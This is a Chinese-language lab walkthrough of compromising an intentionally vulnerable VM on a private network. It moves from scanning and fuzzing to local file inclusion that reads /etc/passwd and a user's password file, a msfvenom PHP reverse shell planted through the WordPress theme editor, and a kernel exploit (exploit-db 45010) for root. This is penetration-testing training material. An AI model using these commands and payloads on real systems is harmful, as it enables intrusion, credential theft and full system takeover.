![1939dcec58ecfaf061c8c2c48548beb8.png](https://i-blog.csdnimg.cn/blog_migrate/de18d53fd494b19f947d456d0b9f3484.jpeg)
原创:safe6合天智汇
原创投稿活动:重金悬赏 | 合天原创投稿等你来
Ip:192.168.0.115
Kali:192.168.0.21
安装好的靶机界面
![8c9ef08c2d54693b02480e9d311eb435.png](https://i-blog.csdnimg.cn/blog_migrate/14db762f518b0de3a2df08c9a57a5ca6.jpeg)
Nmap扫描端口
【注:Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。Nmap扫描相关的信息可以到合天网安实验室操作实验——Nmap网络扫描,实验:Nmap网络扫描(合天网安实验室)】
nmap-sV -A 192.168.0.115
![804bd0a567f86c53d969a7462c418ec1.png](https://i-blog.csdnimg.cn/blog_migrate/8bb80225623524b54508e5f197e8b59a.jpeg)
发现只开了80和22端口,直接从80入口
![da6e697f622c3671de48d210f4561324.png](https://i-blog.csdnimg.cn/blog_migrate/fefcb1439be20c5de2e01575e3f7ef76.jpeg)
扫描一下目录文件
dirbhttp://192.168.0.115
![5a3f1e85f43c08845b3246c4740c41ea.png](https://i-blog.csdnimg.cn/blog_migrate/66b0995f4bd6e2cc75760cc1e3838eaa.jpeg)
通过目录扫描得到
http://192.168.0.115/dev
http://192.168.0.115/secret.txt
http://192.168.0.115/index.php
http://192.168.0.115/image.php
http://192.168.0.115/wordpress
我习惯先从wordpress入手
访问看看http://192.168.0.115/wordpress
![edeac7d5f0c860162283e4af57af9e72.png](https://i-blog.csdnimg.cn/blog_migrate/16b755eba54ce9288280c5914f8a42a5.jpeg)
对wordpress进行扫描
wpscan--url http://192.168.0.115/wordpress/ --enumerate vt,vp,u
![be4163b41d327bbe5da76163dd279a97.png](https://i-blog.csdnimg.cn/blog_migrate/fba7a97de85e9b89a54e18b7f082f374.jpeg)
对wordpress进行扫描
最后只得到如下信息
主题WordPresstheme in use: twentynineteen
版本WordPressversion 5.2.2 identified (Insecure, released on 2019-06-18).
http://192.168.0.115/wordpress/readme.html
用户victor
没发现可以利用漏洞,直接尝试Wp爆破
![169ad07e0e4511a13fd2c616610763f7.png](https://i-blog.csdnimg.cn/blog_migrate/5e9c02855c44bb59b0c97fe5df0737b8.jpeg)
没成功
继续访问其余扫描到的文件image.php和index.php差不多
![70415bc9afc138c9ea623c5fb7253090.png](https://i-blog.csdnimg.cn/blog_migrate/024c82210c9a3f312c042a77e877c928.jpeg)
最后在secret.txt文件里发现了提示
![8ee77b5c6be7fc01d83065814586497c.png](https://i-blog.csdnimg.cn/blog_migrate/a9719147a5468f247ad49bb1b285d6cd.jpeg)
![4f05758e51adaf7daddea118512917eb.png](https://i-blog.csdnimg.cn/blog_migrate/66abad48215f0f73abd65e13db14af8a.jpeg)
根据github的提示用wfuzz进行测试,最后fuzz出来file参数
![ff20427543a513d5d3fb824b051a319a.png](https://i-blog.csdnimg.cn/blog_migrate/b56399e792af04d28ef420501dbb9dce.jpeg)
我猜测是应该存在LFI,直接根据secret.txt文件里面提示的包含location.txt获得下一步提示
http://192.168.0.115/?file=location.txt
![5711075bd15ba073fbb7d451392d8eef.png](https://i-blog.csdnimg.cn/blog_migrate/fe77d88b6988f09da39793bbfb1ea50a.jpeg)
最近成功得到location.txt内容,里面提示在其他php页面用secrettier360参数,
根据上面dirb得到的image.php进行测试
curlhttp://192.168.0.115/image.php?secrettier360=index.php
先尝试读取index.php发现成功
![725660174c0da4914ffe3e7366d168bc.png](https://i-blog.csdnimg.cn/blog_migrate/b610690a36d3649e07db9fe0a2c02269.jpeg)
尝试读取/etc/passwd
curlhttp://192.168.0.115/image.php?secrettier360=/etc/passwd
![e41d16c4a03630c287fc031a2180d845.png](https://i-blog.csdnimg.cn/blog_migrate/a09170af41ba75c14eaf270d03265019.jpeg)
LFI漏洞利用的方法学习可到合天网安实验室操作实验——LFI漏洞攻击实践,实验:LFI漏洞攻击实践(合天网安实验室)
于是继续fuzz,看看有没有什么有价值的文件
wfuzz-w safe6/DownFall-LogList.txt -c --hc 404 --hw 17
http://192.168.0.115/image.php?secrettier360=FUZZ
![3ea770770db8411839058a918468952e.png](https://i-blog.csdnimg.cn/blog_migrate/94b684803ea1591955fd45e3ca189f5e.jpeg)
本来想找一下wp-config.php文件,fuzz无果回过头来看etc/passwd文件有什么用户,最后又在里面发现了线索(真是细节决定成败啊)
![979cc455ac42e330b45f6fa355040403.png](https://i-blog.csdnimg.cn/blog_migrate/18a4af53daec3b315ddacdf62fc9704a.jpeg)
看看password.txt文件
curlhttp://192.168.0.115/image.php?secrettier360=/home/saket/password.txt
![c2d630a510ef987eb093cb6abf04964e.png](https://i-blog.csdnimg.cn/blog_migrate/e75c8a4ff6b3a879fa9092572ff62342.jpeg)
试一试ssh密码,发现是错的
![8d2df55c9d6b0dbdf7696f963deb6fe9.png](https://i-blog.csdnimg.cn/blog_migrate/fc98c0b8efb204aba535e416cafa5db2.jpeg)
试一试前面拿到的wordpress用户
![67bd5f41f7816b4e3b25dbfec5f91ae7.png](https://i-blog.csdnimg.cn/blog_migrate/ddea5274492bf1f0ef10e59c0b2ec6d1.jpeg)
没错,我进来了
![eacf15b35c2378450b9c6aadf3f42f4d.png](https://i-blog.csdnimg.cn/blog_migrate/5aa040658a1d7cb6e76e05e11f99ad8b.jpeg)
接下来直接拿webshell,打开我们最喜欢的主题编辑器
![bce45b567a8e3641cc198599c7d4f305.png](https://i-blog.csdnimg.cn/blog_migrate/a1e9970c021c1d38f71855a610c9a019.jpeg)
翻了半天,发现只有secret.php可用
于是乎,msf大法要上演了
生成一个payload放进去
msfvenom-p php/meterpreter_reverse_tcp LHOST=192.168.0.21 LPORT=4444 -oshell.php
![727b60b42b470cc97ebc725166229217.png](https://i-blog.csdnimg.cn/blog_migrate/ffc0509dedc55b5de57ecc7555a15ad9.jpeg)
![c43e299b4d6366909cc232e932c81718.png](https://i-blog.csdnimg.cn/blog_migrate/f2e2310b4eb53c8e91bc83b606b15912.jpeg)
保存之后,打开msf
useexploit/multi/handler
setpayload php/meterpreter_reverse_tcp
setlhost 192.168.0.21
setlport 4444
run
![65bd3e637fbf5d63783af56300a7b38a.png](https://i-blog.csdnimg.cn/blog_migrate/245dfaa20e176fda5b26bbbf7e97f44c.jpeg)
浏览器打开
http://192.168.0.115/wordpress/wp-content/themes/twentynineteen/secret.php
![758fc07d34efe4c2b6c6e85e356f8aed.png](https://i-blog.csdnimg.cn/blog_migrate/b2226b027fcc124999d807e7ad76d831.jpeg)
![d16d82dc9c3d76dfb61e69cfc1b74b6a.png](https://i-blog.csdnimg.cn/blog_migrate/d3263fc2d8b77bc119dbbb88be9fef80.jpeg)
MSF相关的学习,可到合天网安实验室学习实验——MSFvenom实践,实验:MSFvenom实践(合天网安实验室)通过该实验了解msfvenom和metasploit的用法,生成符合自己要求的shellcode,并成功利用shellcode,学会如何与metasploit配合使用。
接下来就是提权了
用python3-c 'import pty; pty.spawn("/bin/bash")'获取个完整交互的shell
![7b3e97bda083c2ac97e5f18cf8bd5af9.png](https://i-blog.csdnimg.cn/blog_migrate/f5cb5b1c9aab40e237d8c18e5e925b56.jpeg)
切换到tmp目录,看一下内核准备提权(meterpreter里面sysinfo一样)
![66ee92cbd9e0f9cd285c8ad1360fbc1d.png](https://i-blog.csdnimg.cn/blog_migrate/281ad54d01899d0842149df96ee485af.jpeg)
回到kali搜索searchsploit16.04 Ubuntu
![77e62d136a488af09f6247ff501b8b6e.png](https://i-blog.csdnimg.cn/blog_migrate/04c289f4ae777cec7e964ee8aaea4677.jpeg)
我们这里用LinuxKernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local PrivilegeEscalation进行提权
把45010.c拷到当前目录
cp/usr/share/exploitdb/exploits/linux/local/45010.c ./
编译一下gcc45010.c -o root
![082b88bf93361357617fbb7c3ca640d2.png](https://i-blog.csdnimg.cn/blog_migrate/4459b4796befd8fde5e634f04a492c28.jpeg)
然后exit()退回到meterpreter
上传一下编译好的
![b0a92a1682365d18852029154acf42a3.png](https://i-blog.csdnimg.cn/blog_migrate/981dc7073d49873b49306bf37822a153.jpeg)
./root执行一下
![e3f179eaee8c8b282ec9fc5ee7148be9.png](https://i-blog.csdnimg.cn/blog_migrate/a907b89e731cb45b0b1361ee4f32a3ba.jpeg)
最后进入root目录拿到flag
![c51faec8fe5c104544145a0937c6642e.png](https://i-blog.csdnimg.cn/blog_migrate/2f8af512d2f5b66cd292d20798a4a252.jpeg)
欢迎各位师傅指点
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!